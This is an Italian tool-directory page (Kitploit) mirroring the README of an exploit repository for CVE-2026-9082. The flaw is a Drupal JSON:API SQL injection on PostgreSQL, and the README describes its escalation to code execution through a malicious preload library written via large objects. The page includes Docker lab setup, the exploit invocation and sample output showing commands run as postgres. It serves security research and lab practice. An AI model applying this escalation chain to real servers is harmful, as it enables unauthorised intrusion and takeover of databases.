Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2026-9082-drupal-postgresql-rce — Exploit per SQL injection su Drupal JSON:API PostgreSQL verso RCE tramite libreria di preload nativa. Include un laboratorio Docker locale per testare percorsi di escalation per PostgreSQL 12–18+. | Kitploit
Strumenti/GitHubGitHub/ambionics/cve-2026-9082-drupal-postgresql-rce
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPost-ExploitPenetration TestingApprendimento e FormazioneSviluppo PayloadSicurezza dei DatabaseBinary Exploitation

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Lab e Pratica
GitHubambionics/cve-2026-9082-drupal-postgresql-rce

cve-2026-9082-drupal-postgresql-rce

Exploit per SQL injection su Drupal JSON:API PostgreSQL verso RCE tramite libreria di preload nativa. Include un laboratorio Docker locale per testare percorsi di escalation per PostgreSQL 12–18+.

Vedi Repository
112 mesi faNon ancora revisionato

CVE-2026-9082 da SQLi a RCE in Drupal PostgreSQL

Questo repository contiene un laboratorio locale e un breve exploit per l'iniezione SQL in Drupal JSON:API PostgreSQL descritta nell'articolo di Ambionics.

La parte importante dell'exploit è l'escalation PostgreSQL: una volta che l'iniezione può valutare un'espressione SELECT come superutente PostgreSQL, scrive una libreria nativa di preload tramite large objects, ricarica postgresql.auto.conf, attiva session_preload_libraries e recupera l'output del comando con pg_read_file().

L'exploit legge prima version() e costruisce il blocco magico del modulo PostgreSQL per la versione principale rilevata. Gestisce i layout ABI del modulo per PostgreSQL 12, 13-14, 15-17 e 18+. Il compilatore locale deve comunque produrre un oggetto condiviso per la stessa architettura CPU del server PostgreSQL target.

Il laboratorio utilizza PostgreSQL 18.4, l'ultima release di PostgreSQL al momento della scrittura. Il percorso di escalation PostgreSQL è stato testato da PostgreSQL 12.20 fino a PostgreSQL 18.4.

Contenuti

root@kitploit:~
.
├── docker-compose.yml
├── drupal/
│   ├── Dockerfile
│   ├── entrypoint.sh
│   └── seed-content.php
├── drupal-postgres-preload-rce.py
├── requirements.txt
└── README.md

Il laboratorio utilizza:

root@kitploit:~
Drupal 10.4.9
PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1)
PHP 8.3 / Apache

Drupal è connesso a PostgreSQL come superutente postgres in modo che l'iniezione SQL solo SELECT possa essere escalata a RCE.

Requisiti

root@kitploit:~
docker compose version
python3 --version
cc --version

Esempio di output:

root@kitploit:~
Docker Compose version v2.37.3
Python 3.12.3
cc (Ubuntu 13.3.0-6ubuntu2~24.04.1) 13.3.0

Avvia il laboratorio

Costruisci e avvia i container:

root@kitploit:~
docker compose build --quiet
docker compose up -d

Output previsto:

root@kitploit:~
Container cve9082-pg18    Started
Container cve9082-drupal  Started

Attendi che Drupal diventi healthy:

root@kitploit:~
docker compose ps

Output previsto:

root@kitploit:~
NAME              SERVICE   STATUS
cve9082-pg18      db        Up ... (healthy)
cve9082-drupal    drupal    Up ... (healthy)

Il laboratorio ascolta su:

root@kitploit:~
http://127.0.0.1:8089

Verifica il laboratorio

Controlla la versione di PostgreSQL:

root@kitploit:~
docker exec cve9082-pg18 psql -U postgres -d drupal -tAc 'select version()'

Output previsto:

root@kitploit:~
PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit

Controlla che JSON:API esponga l'articolo seed:

root@kitploit:~
curl -fsS http://127.0.0.1:8089/jsonapi/node/article | python3 -m json.tool | sed -n '1,20p'

Output previsto:

root@kitploit:~
{
    "jsonapi": {
        "version": "1.0"
    },
    "data": [
        {
            "type": "node--article"
        }
    ]
}

Installa la dipendenza Python

root@kitploit:~
python3 -m venv .venv
. .venv/bin/activate
pip install -r requirements.txt

Output previsto:

root@kitploit:~
Successfully installed requests-...

Esegui l'exploit

Esegui id tramite l'iniezione SQL JSON:API non autenticata:

root@kitploit:~
python3 drupal-postgres-preload-rce.py http://127.0.0.1:8089 id

Output previsto:

root@kitploit:~
[+] checking SQL injection context
    version: PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit
    current_user: postgres superuser=True
    data_directory: /var/lib/postgresql/18/docker
    module_abi: PostgreSQL 18 magic=1800 layout=pg18
[+] built PostgreSQL 18 preload module (14080 bytes)
[+] writing preload library to /var/lib/postgresql/18/docker/cve9082_preload.so
    1400/14080 bytes
    ...
    14080/14080 bytes
[+] rewriting /var/lib/postgresql/18/docker/postgresql.auto.conf
    189/189 bytes
[+] reloading PostgreSQL configuration
[+] triggering a fresh backend
[+] reading command output
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)

__exit=0
[+] restoring/clearing PostgreSQL preload settings
    152/152 bytes

Esegui un altro comando:

root@kitploit:~
python3 drupal-postgres-preload-rce.py http://127.0.0.1:8089 'uname -a'

Output previsto:

root@kitploit:~
[+] reading command output
Linux ... x86_64 GNU/Linux

__exit=0

Ferma il laboratorio

Ferma i container ma mantieni il volume del database:

root@kitploit:~
docker compose down

Ferma i container ed elimina il volume del database:

root@kitploit:~
docker compose down -v
Scarica lo strumento